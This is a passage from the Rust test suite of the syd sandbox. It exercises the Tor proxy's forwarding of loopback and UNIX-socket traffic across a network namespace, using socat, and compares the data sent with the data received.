    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP6:[::1]:9050,forever OPEN:msg,wronly,creat,excl
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send44_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP4-LISTEN:0,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send46_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP6-LISTEN:0,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1:$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4u_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "diff", "grep", "kill", "sed", "sh", "mktemp", "readlink", "socat", "tail"
    );

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX (override with SYD_TEST_TOR_UNIX)"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send66_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP6-LISTEN:0,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -ex <<'EOF'
socat -u -d -d FILE:chk TCP6:[::1]:9050,forever
set +x
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send64_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP4-LISTEN:0,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1:$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP6:[::1]:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6u_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "kill", "sh", "mktemp", "readlink", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX (override with SYD_TEST_TOR_UNIX)"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP6:[::1]:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send44_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP4-LISTEN:0,bind=127.0.0.1,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send46_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4u_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail", "mktemp",
        "readlink",
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
{syd_pds} socat -u -d -d \
    UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on \
    -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send66_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send64_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP4-LISTEN:0,bind=127.0.0.1,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6u_many_seq() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
        "mktemp", "readlink",
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
{syd_pds} socat -u -d -d \
    UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
